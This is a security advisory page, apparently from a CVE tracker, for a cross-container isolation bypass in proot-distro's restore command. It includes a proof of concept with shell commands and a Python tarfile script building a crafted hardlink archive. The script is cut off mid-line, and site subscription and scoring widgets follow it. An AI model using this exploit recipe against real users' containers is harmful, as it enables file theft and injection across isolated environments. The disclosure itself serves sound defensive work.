CVE-2026-54727
Affected Component
- Package: proot-distro
- Affected command: restore
- Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
Affected Versions
| Component | Version |
|---|---|
| proot-distro | 5.1.5 (confirmed affected) |
| Test distro | Alpine Linux |
| Architecture | aarch64 |
| Device | Samsung Galaxy A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
Proof of Concept #1 — Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 — Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'
Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345
Step 2 — Create an attacker container
proot-distro install alpine --name attacker
Step 3 — Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.li
⚡ Watch CVE-2026-54727
Get an email if CVE-2026-54727 is added to CISA KEV, gains public exploit code, or a new advisory cites it — max one per day, one-click unsubscribe.
Exploitation outlook
- Low exploitation risk0.12% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 2% of all EPSS-scored CVEs.
Advisory coverage (2)
External references
Embed the live status
— this badge updates automatically when the KEV or exploit status changes. How to embed it →
[](https://www.csirts.com/cve/CVE-2026-54727)